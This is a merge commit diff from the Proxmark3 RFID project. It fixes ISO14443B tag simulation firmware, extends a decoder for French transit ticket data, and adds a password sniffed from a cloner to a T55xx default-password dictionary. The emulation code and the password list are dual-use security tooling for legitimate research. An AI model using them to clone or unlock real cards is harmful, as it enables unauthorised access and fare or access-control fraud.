Merge branch 'RfidResearchGroup:master' into master

This commit is contained in:
ry4000 2024-06-18 22:20:17 +10:00 committed by GitHub
commit dfe5ebbdd0
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
9 changed files with 990 additions and 221 deletions

View file

@ -3,6 +3,12 @@ All notable changes to this project will be documented in this file.
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
## [unreleased][unreleased] ## [unreleased][unreleased]
- Fixed a bad memory erase (@iceman1001)
- Fixed BT serial comms (@iceman1001)
- Changed `intertic.py` - updated and code clean up (@gentilkiwi)
- Added `pm3_tears_for_fears.py` - a ISO14443b tear off script by Pierre Granier
- Added new t55xx password (002BCFCF) sniffed from cheap cloner (@davidbeauchamp)
- Fixed 'hf 14b sim' - now works (@michi-jung)
## [Aurora.4.18589][2024-05-28] ## [Aurora.4.18589][2024-05-28]
- Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001) - Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001)

View file

@ -186,7 +186,7 @@
#endif #endif
// 4sample // 4sample
#define SEND4STUFFBIT(x) tosend_stuffbit(x);tosend_stuffbit(x);tosend_stuffbit(x);tosend_stuffbit(x); #define SEND4STUFFBIT(x) tosend_stuffbit(!(x));tosend_stuffbit(!(x));tosend_stuffbit(!(x));tosend_stuffbit(!(x));
static void iso14b_set_timeout(uint32_t timeout_etu); static void iso14b_set_timeout(uint32_t timeout_etu);
static void iso14b_set_maxframesize(uint16_t size); static void iso14b_set_maxframesize(uint16_t size);
@ -702,10 +702,11 @@ static void TransmitFor14443b_AsTag(const uint8_t *response, uint16_t len) {
// Signal field is off with the appropriate LED // Signal field is off with the appropriate LED
LED_D_OFF(); LED_D_OFF();
// TR0: min - 1024 cycles = 75.52 us - max 4096 cycles = 302.08 us
SpinDelayUs(76);
// Modulate BPSK // Modulate BPSK
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_MODULATE_BPSK); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_MODULATE_BPSK);
AT91C_BASE_SSC->SSC_THR = 0xFF;
FpgaSetupSsc(FPGA_MAJOR_MODE_HF_SIMULATOR);
// Transmit the response. // Transmit the response.
for (uint16_t i = 0; i < len;) { for (uint16_t i = 0; i < len;) {
@ -713,6 +714,11 @@ static void TransmitFor14443b_AsTag(const uint8_t *response, uint16_t len) {
// Put byte into tx holding register as soon as it is ready // Put byte into tx holding register as soon as it is ready
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) {
AT91C_BASE_SSC->SSC_THR = response[i++]; AT91C_BASE_SSC->SSC_THR = response[i++];
// Start-up SSC once first byte is in SSC_THR
if (i == 1) {
FpgaSetupSsc(FPGA_MAJOR_MODE_HF_SIMULATOR);
}
} }
} }
} }
@ -771,7 +777,7 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
static const uint8_t respOK[] = {0x00, 0x78, 0xF0}; static const uint8_t respOK[] = {0x00, 0x78, 0xF0};
uint16_t len, cmdsReceived = 0; uint16_t len, cmdsReceived = 0;
int cardSTATE = SIM_NOFIELD; int cardSTATE = SIM_POWER_OFF;
int vHf = 0; // in mV int vHf = 0; // in mV
const tosend_t *ts = get_tosend(); const tosend_t *ts = get_tosend();
@ -801,16 +807,18 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
} }
// find reader field // find reader field
if (cardSTATE == SIM_NOFIELD) {
vHf = (MAX_ADC_HF_VOLTAGE * SumAdc(ADC_CHAN_HF, 32)) >> 15; vHf = (MAX_ADC_HF_VOLTAGE * SumAdc(ADC_CHAN_HF, 32)) >> 15;
if (vHf > MF_MINFIELDV) { if (vHf > MF_MINFIELDV) {
if (cardSTATE == SIM_POWER_OFF) {
cardSTATE = SIM_IDLE; cardSTATE = SIM_IDLE;
LED_A_ON(); LED_A_ON();
} }
} else {
cardSTATE = SIM_POWER_OFF;
LED_A_OFF();
} }
if (cardSTATE == SIM_NOFIELD) { if (cardSTATE == SIM_POWER_OFF) {
continue; continue;
} }
@ -820,75 +828,87 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
break; break;
} }
// ISO14443-B protocol states:
// REQ or WUP request in ANY state
// WUP in HALTED state
if (len == 5) {
if (((receivedCmd[0] == ISO14443B_REQB) && ((receivedCmd[2] & 0x08) == 0x08) && (cardSTATE == SIM_HALTED)) ||
(receivedCmd[0] == ISO14443B_REQB)) {
LogTrace(receivedCmd, len, 0, 0, NULL, true); LogTrace(receivedCmd, len, 0, 0, NULL, true);
cardSTATE = SIM_SELECTING;
}
}
/*
* How should this flow go?
* REQB or WUPB
* send response ( waiting for Attrib)
* ATTRIB
* send response ( waiting for commands 7816)
* HALT
send halt response ( waiting for wupb )
*/
if ((len == 5) && (receivedCmd[0] == ISO14443B_REQB) && (receivedCmd[2] & 0x08)) {
// WUPB
switch (cardSTATE) { switch (cardSTATE) {
//case SIM_NOFIELD: case SIM_IDLE:
case SIM_HALTED: case SIM_READY:
case SIM_IDLE: { case SIM_HALT: {
LogTrace(receivedCmd, len, 0, 0, NULL, true);
break;
}
case SIM_SELECTING: {
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen); TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false); LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
cardSTATE = SIM_WORK; cardSTATE = SIM_READY;
break; break;
} }
case SIM_HALTING: { case SIM_ACTIVE:
TransmitFor14443b_AsTag(encodedOK, encodedOKLen); default: {
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
cardSTATE = SIM_HALTED; LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
break; break;
} }
case SIM_ACKNOWLEDGE: { }
TransmitFor14443b_AsTag(encodedOK, encodedOKLen); } else if ((len == 5) && (receivedCmd[0] == ISO14443B_REQB) && !(receivedCmd[2] & 0x08)) {
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); // REQB
cardSTATE = SIM_IDLE; switch (cardSTATE) {
case SIM_IDLE:
case SIM_READY: {
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
cardSTATE = SIM_READY;
break; break;
} }
case SIM_WORK: { case SIM_ACTIVE: {
if (len == 7 && receivedCmd[0] == ISO14443B_HALT) { TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
cardSTATE = SIM_HALTED; LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
} else if (len == 11 && receivedCmd[0] == ISO14443B_ATTRIB) {
cardSTATE = SIM_ACKNOWLEDGE;
} else {
// Todo:
// - SLOT MARKER
// - ISO7816
// - emulate with a memory dump
if (g_dbglevel >= DBG_DEBUG) {
Dbprintf("new cmd from reader: len=%d, cmdsRecvd=%d", len, cmdsReceived);
}
cardSTATE = SIM_IDLE;
}
break; break;
} }
case SIM_HALT:
default: { default: {
break; break;
} }
} }
} else if ((len == 7) && (receivedCmd[0] == ISO14443B_HALT)) {
// HLTB
switch (cardSTATE) {
case SIM_READY: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
cardSTATE = SIM_HALT;
break;
}
case SIM_IDLE:
case SIM_ACTIVE: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
break;
}
case SIM_HALT:
default: {
break;
}
}
} else if (len == 11 && receivedCmd[0] == ISO14443B_ATTRIB) {
// ATTRIB
switch (cardSTATE) {
case SIM_READY: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
cardSTATE = SIM_ACTIVE;
break;
}
case SIM_IDLE:
case SIM_ACTIVE: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
break;
}
case SIM_HALT:
default: {
break;
}
}
}
++cmdsReceived; ++cmdsReceived;
} }

View file

@ -49,12 +49,10 @@ void SniffIso14443b(void);
void SendRawCommand14443B(iso14b_raw_cmd_t *p); void SendRawCommand14443B(iso14b_raw_cmd_t *p);
// States for 14B SIM command // States for 14B SIM command
#define SIM_NOFIELD 0 #define SIM_POWER_OFF 0
#define SIM_IDLE 1 #define SIM_IDLE 1
#define SIM_HALTED 2 #define SIM_READY 2
#define SIM_SELECTING 3 #define SIM_HALT 3
#define SIM_HALTING 4 #define SIM_ACTIVE 4
#define SIM_ACKNOWLEDGE 5
#define SIM_WORK 6
#endif /* __ISO14443B_H */ #endif /* __ISO14443B_H */

View file

@ -646,7 +646,7 @@ void rdv40_spiffs_safe_print_tree(void) {
SPIFFS_opendir(&fs, "/", &d); SPIFFS_opendir(&fs, "/", &d);
while ((pe = SPIFFS_readdir(&d, pe))) { while ((pe = SPIFFS_readdir(&d, pe))) {
memset(resolvedlink, 0, sizeof(resolvedlink)); memset(resolvedlink, 0, 11 + SPIFFS_OBJ_NAME_LEN);
if (rdv40_spiffs_is_symlink((const char *)pe->name)) { if (rdv40_spiffs_is_symlink((const char *)pe->name)) {

View file

@ -5,6 +5,8 @@
51243648 51243648
000D8787 000D8787
19920427 19920427
# White Chinese cloner, circa 2019, firmware v5.04.16.0727 (eBay)
002BCFCF
# ZX-copy3 T55xx / EM4305 # ZX-copy3 T55xx / EM4305
# ref. http://www.proxmark.org/forum/viewtopic.php?pid=40662#p40662 # ref. http://www.proxmark.org/forum/viewtopic.php?pid=40662#p40662
# default PROX # default PROX

View file

@ -21,10 +21,14 @@ import sys, os
from datetime import datetime, timedelta from datetime import datetime, timedelta
from bitarray import bitarray from bitarray import bitarray
from bitarray.util import ba2int from bitarray.util import ba2int
from typing import NamedTuple
class BitMe: class BitMe:
def __init__(self): def __init__(self):
self.data = bitarray() self.data = bitarray(endian = 'big')
self.idx = 0
def reset(self):
self.idx = 0 self.idx = 0
def addBits(self, bits): def addBits(self, bits):
@ -47,62 +51,233 @@ class BitMe:
def isEmpty(self): def isEmpty(self):
return (len(self.data) == 0) return (len(self.data) == 0)
'''
A generic Describe_Usage function with variable number of bits between stamps will be more optimal
At this time I want to keep more places/functions to try to parse other fields in 'unk1' and 'left'
'''
TYPE_EventCode_Nature = {
0x1: 'urban bus',
0x2: 'interurban bus',
0x3: 'metro',
0x4: 'tramway',
0x5: 'train',
0x8: 'parking',
}
TYPE_EventCode_Type = {
0x1: 'entry validation',
0x2: 'exit validation',
0x4: 'ticket inspecting',
0x6: 'connection entry validation',
0x14: 'test validation',
0x15: 'connection exit validation',
0x16: 'canceled validation',
0x17: 'invalidation',
0x18: 'distribution',
}
TYPE_EventGeoRoute_Direction = {
0: 'undefined',
1: 'outward',
2: 'inward',
3: 'circular',
}
def Describe_Usage_1(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk = Usage.nom_bits(65)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk1... :', unk);
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_1_1(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk0 = Usage.nom_bits(8)
EventCode_Nature = Usage.nom(5)
EventCode_Type = Usage.nom(5)
unk1 = Usage.nom_bits(11)
EventGeoVehicleId = Usage.nom(16)
EventGeoRouteId = Usage.nom(14)
EventGeoRoute_Direction = Usage.nom(2)
EventCountPassengers_mb = Usage.nom(4)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk0... :', unk0);
print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?')))
print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?')))
print(' unk1... :', unk1);
print(' GeoVehicleId : {}'. format(EventGeoVehicleId))
print(' GeoRouteId : {}'. format(EventGeoRouteId))
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_1_2(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
EventCount_mb = Usage.nom(6)
unk0 = Usage.nom_bits(4)
EventCode_Nature_mb = Usage.nom(4)
EventCode_Type_mb = Usage.nom(4)
unk1 = Usage.nom_bits(11)
EventGeoVehicleId = Usage.nom(16)
EventGeoRouteId = Usage.nom(14)
EventGeoRoute_Direction = Usage.nom(2)
EventCountPassengers_mb = Usage.nom(4)
EventValidityTimeFirstStamp = Usage.nom(11)
TYPE_EventCode_Nature_Reims = { # usually it's the opposite, but ... ?
0x4: 'urban bus',
0x1: 'tramway',
}
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' Count(?) : {}'. format(EventCount_mb))
print(' unk0... :', unk0);
print(' Code/Nature(?) : 0x{:x} ({})'.format(EventCode_Nature_mb, TYPE_EventCode_Nature_Reims.get(EventCode_Nature_mb, '?')))
print(' Code/Type(?) : 0x{:x} ({})'.format(EventCode_Type_mb, TYPE_EventCode_Type.get(EventCode_Type_mb, '?')))
print(' unk1... :', unk1);
print(' GeoVehicleId : {}'. format(EventGeoVehicleId))
print(' GeoRouteId : {}'. format(EventGeoRouteId))
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_2(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk0 = Usage.nom_bits(8)
EventCode_Nature = Usage.nom(5)
EventCode_Type = Usage.nom(5)
unk1 = Usage.nom_bits(11)
EventGeoRouteId = Usage.nom(14)
EventGeoRoute_Direction = Usage.nom(2)
EventCountPassengers_mb = Usage.nom(4)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk0... :', unk0);
print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?')))
print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?')))
print(' unk1... :', unk1);
print(' GeoRouteId : {}'. format(EventGeoRouteId))
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_3(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk = Usage.nom_bits(27)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk1... :', unk);
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_4(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk = Usage.nom_bits(63)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk1... :', unk);
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_Generic(Usage, ContractMediumEndDate, Certificate):
print(' !!! GENERIC DUMP - please provide full file dump to benjamin@gentilkiwi.com - especially if NOT empty !!!')
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
print(' !!! Trying Usage_1 (the most common) !!!')
Usage.reset()
Certificate.reset()
Describe_Usage_1(Usage, ContractMediumEndDate, Certificate)
class InterticHelper(NamedTuple):
OrganizationalAuthority: str
ContractProvider: str
UsageDescribeFunction: callable = None
ISO_Countries = { ISO_Countries = {
0x250: 'France', 0x250: 'France',
} }
FRA_OrganizationalAuthority_Contract_Provider = { FRA_OrganizationalAuthority_Contract_Provider = {
0x000: { 0x000: {
5: 'Lille (Ilévia / Keolis)', 5: InterticHelper('Lille', 'Ilévia / Keolis', Describe_Usage_1_1),
7: 'Lens-Béthune (Tadao / Transdev)', 7: InterticHelper('Lens-Béthune', 'Tadao / Transdev', Describe_Usage_1_1),
}, },
0x006: { 0x006: {
1: 'Amiens (Ametis / Keolis)', 1: InterticHelper('Amiens', 'Ametis / Keolis'),
}, },
0x008: { 0x008: {
15: 'Angoulême (STGA)', 15: InterticHelper('Angoulême', 'STGA', Describe_Usage_1_1), # May have a problem with date ?
}, },
0x021: { 0x021: {
1: 'Bordeaux (TBM / Keolis)', 1: InterticHelper('Bordeaux', 'TBM / Keolis', Describe_Usage_1_1),
}, },
0x057: { 0x057: {
1: 'Lyon (TCL / Keolis)', 1: InterticHelper('Lyon', 'TCL / Keolis', Describe_Usage_1), # Strange usage ?, kept on generic 1
}, },
0x072: { 0x072: {
1: 'Tours (filbleu / Keolis)', 1: InterticHelper('Tours', 'filbleu / Keolis', Describe_Usage_1_1),
}, },
0x078: { 0x078: {
4: 'Reims (Citura / Transdev)', 4: InterticHelper('Reims', 'Citura / Transdev', Describe_Usage_1_2),
}, },
0x091: { 0x091: {
1: 'Strasbourg (CTS)', 1: InterticHelper('Strasbourg', 'CTS', Describe_Usage_4), # More dump needed, not only tram !
}, },
0x502: { 0x502: {
83: 'Annecy (Sibra)', 83: InterticHelper('Annecy', 'Sibra', Describe_Usage_2),
10: 'Clermont-Ferrand (T2C)', 10: InterticHelper('Clermont-Ferrand', 'T2C'),
}, },
0x907: { 0x907: {
1: 'Dijon (Divia / Keolis)', 1: InterticHelper('Dijon', 'Divia / Keolis'),
}, },
0x908: { 0x908: {
1: 'Rennes (STAR / Keolis)', 1: InterticHelper('Rennes', 'STAR / Keolis', Describe_Usage_2),
8: 'Saint-Malo (MAT / RATP)', 8: InterticHelper('Saint-Malo', 'MAT / RATP', Describe_Usage_1_1),
}, },
0x911: { 0x911: {
5: 'Besançon (Ginko / Keolis)', 5: InterticHelper('Besançon', 'Ginko / Keolis'),
}, },
0x912: { 0x912: {
3: 'Le Havre (Lia / Transdev)', 3: InterticHelper('Le Havre', 'Lia / Transdev', Describe_Usage_1_1),
35: 'Cherbourg-en-Cotentin (Cap Cotentin / Transdev)', 35: InterticHelper('Cherbourg-en-Cotentin', 'Cap Cotentin / Transdev'),
}, },
0x913: { 0x913: {
3: 'Nîmes (Tango / Transdev)', 3: InterticHelper('Nîmes', 'Tango / Transdev', Describe_Usage_3),
}, },
0x917: { 0x917: {
4: 'Angers (Irigo / RATP)', 4: InterticHelper('Angers', 'Irigo / RATP', Describe_Usage_1_2),
7: 'Saint-Nazaire (Stran)', 7: InterticHelper('Saint-Nazaire', 'Stran'),
}, },
} }
@ -139,99 +314,73 @@ def main():
file.close() file.close()
SystemArea = BitMe()
Distribution_Data = BitMe() Distribution_Data = BitMe()
C1 = BitMe() Block0Left = BitMe()
C2 = BitMe() # Usage_DAT = BitMe()
Usage_Sta_B = BitMe() # Usage_CER = BitMe()
Usage_Sta_E = BitMe() Usage_A_DAT = BitMe()
Usage_Data = BitMe() Usage_A_CER = BitMe()
Usage_Cer = BitMe() Usage_B_DAT = BitMe()
Usage_B_CER = BitMe()
Distribution_Cer = BitMe() Distribution_Cer = BitMe()
SWAP = None
RELOADING1 = None
COUNTER1 = None
# RELOADING2 = None
# COUNTER2 = None
Describe_Usage = None
Distribution_Data_End = data.nom_bits(24) Block0Left.addBits(data.nom_bits(23))
SystemArea.addBits(data.nom_bits(8)) KeyId = data.nom(4)
PID = data.nom(5)
PID = SystemArea.nom(5)
bIsFlipFlop = PID & 0x10
KeyId = SystemArea.nom(3)
print()
print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, bIsFlipFlop));
print('KeyId :', hex(KeyId));
match PID: match PID:
case 0x02: case 0x10:
Distribution_Data.addBits(data.nom_bits(3 * 32)) Distribution_Data.addBits(data.nom_bits(2 * 32))
Usage_Data_End = data.nom_bits(30) Distribution_Data.addBits(Block0Left.nom_bits_left())
Usage_Sta_B.addBits(data.nom_bits(2)) Usage_A_DAT.addBits(data.nom_bits(2 * 32))
C1.addBits(data.nom_bits(32)) RELOADING1 = data.nom(8)
C2.addBits(data.nom_bits(32)) COUNTER1 = data.nom(24)
Usage_Data.addBits(data.nom_bits(7 * 32)) SWAP = data.nom(32)
Usage_Data.addBits(Usage_Data_End) Usage_A_DAT.addBits(data.nom_bits(2 * 32))
Usage_Data.addBits(data.nom_bits(14)) Usage_A_DAT.addBits(data.nom_bits(16))
Usage_Sta_E.addBits(data.nom_bits(2)) Usage_A_CER.addBits(data.nom_bits(16))
Usage_Cer.addBits(data.nom_bits(16)) Usage_B_DAT.addBits(data.nom_bits(4 * 32))
Usage_B_DAT.addBits(data.nom_bits(16))
Usage_B_CER.addBits(data.nom_bits(16))
Distribution_Cer.addBits(data.nom_bits(32)) Distribution_Cer.addBits(data.nom_bits(32))
case 0x06: case 0x11 | 0x19:
Distribution_Data.addBits(data.nom_bits(4 * 32)) Distribution_Data.addBits(data.nom_bits(4 * 32))
C1.addBits(data.nom_bits(32)) Distribution_Data.addBits(Block0Left.nom_bits_left())
C2.addBits(data.nom_bits(32)) RELOADING1 = data.nom(8)
Distribution_Data.addBits(data.nom_bits(3 * 32)) COUNTER1 = data.nom(24)
Distribution_Data.addBits(Distribution_Data_End) SWAP = data.nom(32)
Usage_Data_End = data.nom_bits(30) Usage_A_DAT.addBits(data.nom_bits(3 * 32))
Usage_Sta_B.addBits(data.nom_bits(2)) Usage_A_DAT.addBits(data.nom_bits(16))
Usage_Data.addBits(data.nom_bits(3 * 32)) Usage_A_CER.addBits(data.nom_bits(16))
Usage_Data.addBits(Usage_Data_End) Usage_B_DAT.addBits(data.nom_bits(3 * 32))
Usage_Data.addBits(data.nom_bits(14)) Usage_B_DAT.addBits(data.nom_bits(16))
Usage_Sta_E.addBits(data.nom_bits(2)) Usage_B_CER.addBits(data.nom_bits(16))
Usage_Cer.addBits(data.nom_bits(16))
Distribution_Cer.addBits(data.nom_bits(32))
case 0x07:
Distribution_Data.addBits(data.nom_bits(4 * 32))
C1.addBits(data.nom_bits(32))
C2.addBits(data.nom_bits(32))
Distribution_Data.addBits(data.nom_bits(4 * 32))
Distribution_Data.addBits(Distribution_Data_End)
Usage_Data_End = data.nom_bits(30)
Usage_Sta_B.addBits(data.nom_bits(2))
Usage_Data.addBits(data.nom_bits(3 * 32))
Usage_Data.addBits(Usage_Data_End)
Usage_Data.addBits(data.nom_bits(14))
Usage_Sta_E.addBits(data.nom_bits(2))
Usage_Cer.addBits(data.nom_bits(16))
Distribution_Cer.addBits(data.nom_bits(32))
case 0x0a:
Distribution_Data.addBits(data.nom_bits(4 * 32))
C1.addBits(data.nom_bits(32))
C2.addBits(data.nom_bits(32))
Distribution_Data.addBits(data.nom_bits(8 * 32))
Distribution_Data.addBits(Distribution_Data_End)
Distribution_Cer.addBits(data.nom_bits(32))
# No USAGE for 0x0a
case 0x0b: # Not in the draft :(
Distribution_Data.addBits(data.nom_bits(4 * 32))
C1.addBits(data.nom_bits(32))
C2.addBits(data.nom_bits(32))
Distribution_Data.addBits(data.nom_bits(8 * 32))
Distribution_Data.addBits(Distribution_Data_End)
Distribution_Cer.addBits(data.nom_bits(32)) Distribution_Cer.addBits(data.nom_bits(32))
case _: case _:
print('PID not (yet?) supported') print('PID not (yet?) supported: 0x{:02x}'.format(PID))
return 3 return 3
print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, (PID & 0x10) != 0));
print('KeyId : 0x{:1x}'.format(KeyId))
print()
''' '''
DISTRIBUTION DISTRIBUTION
------------ ------------
Not very well documented but seems standard for this part Not very well documented but seems standard for this part
''' '''
if not Distribution_Data.isEmpty():
ContractNetworkId = Distribution_Data.nom_bits(24) ContractNetworkId = Distribution_Data.nom_bits(24)
CountryCode = ba2int(ContractNetworkId[0:0+12]) CountryCode = ba2int(ContractNetworkId[0:0+12])
@ -244,21 +393,6 @@ def main():
Distribution_left = Distribution_Data.nom_bits_left() Distribution_left = Distribution_Data.nom_bits_left()
RELOADING1 = C1.nom(8)
COUNTER1 = C1.nom(24)
RELOADING2 = C2.nom(8)
COUNTER2 = C2.nom(24)
'''
USAGE
-----
No documentation about Usage
All is left
'''
Usage_left = Usage_Data.nom_bits_left()
if not Distribution_Data.isEmpty():
print()
print('DISTRIBUTION') print('DISTRIBUTION')
print(' CountryCode : {:03x} - {}'.format(CountryCode, ISO_Countries.get(CountryCode, '?'))); print(' CountryCode : {:03x} - {}'.format(CountryCode, ISO_Countries.get(CountryCode, '?')));
print(' OrganizationalAuthority : {:03x}'.format(OrganizationalAuthority)); print(' OrganizationalAuthority : {:03x}'.format(OrganizationalAuthority));
@ -269,23 +403,42 @@ def main():
if (oa is not None): if (oa is not None):
s = oa.get(ContractProvider) s = oa.get(ContractProvider)
if (s is not None): if (s is not None):
print(' ~ Authority & Provider ~ :', s) print(' ~ Authority & Provider ~ : {} ({})'.format(s.OrganizationalAuthority, s.ContractProvider))
Describe_Usage = s.UsageDescribeFunction
print(' ContractTariff :', ContractTariff); print(' ContractTariff :', ContractTariff);
print(' ContractMediumEndDate : {} ({})'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d'))); print(' ContractMediumEndDate : {} ({})'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d')));
print(' left... :', Distribution_left); print(' left... :', Distribution_left);
print(' [CER] Distribution : {:08x}'.format(Distribution_Cer.nom(32))) print(' [CER] Distribution : {:08x}'.format(Distribution_Cer.nom(32)))
print() print()
print('COUNTER')
print(' [1] Counter: 0x{:06x} - Reloading available 0x{:02x}'.format(COUNTER1, RELOADING1))
print(' [2] Counter: 0x{:06x} - Reloading available 0x{:02x}'.format(COUNTER2, RELOADING2))
if not Usage_Data.isEmpty(): if(Describe_Usage is None):
Describe_Usage = Describe_Usage_Generic
if COUNTER1 is not None:
print('[1] Counter: 0x{:06x} - Reloading available: 0x{:02x}'.format(COUNTER1, RELOADING1))
